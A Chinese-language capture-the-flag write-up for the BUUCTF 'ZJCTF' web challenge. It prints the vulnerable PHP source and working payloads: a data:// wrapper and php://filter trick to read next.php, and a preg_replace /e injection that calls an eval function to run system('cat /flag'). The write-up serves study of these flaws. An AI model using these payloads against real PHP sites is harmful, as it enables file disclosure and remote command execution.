BUUCTF WEB ZJCTF,不过如此1

上来就给源码，很直接

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

没啥好说的，就差把思路写脸上了，text要i have a dream，文件名给你了next.php

直接给payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
解码后的next.php源码：
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里就有意思了，之前遇到过preg_replace /e会有远程命令执行漏洞，现在看来也是这个了
先给payload吧，后面的原理想看就看

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

\S在正则里非空白匹配，通过preg_match/e的漏洞调用了getFlag函数
原理这篇文章讲的很详细，https://xz.aliyun.com/t/2557

preg_replace函数原型：

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
subject匹配pattern，然后会导致replacement的执行，在这里$str去匹配$re，然后会去执行，'strtolower（"\\1"）'
双引号在里，单引号在外是漏洞的触发条件，因为php会把双引号当成函数，这也就是文章里的第三点
而且.*作为匹配符在$_GET时被替换成_*，这是第二点,所以匹配符也得选的好，\不会被替换
next.php\S*=${phpinfo()}成功
但是直接调用system会发现单引号被转义（外围有单引号），鉴于有现成的GET_flag函数，我们可以间接调用/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

参考视频链接:https://www.bilibili.com/video/BV1C3411s7WF/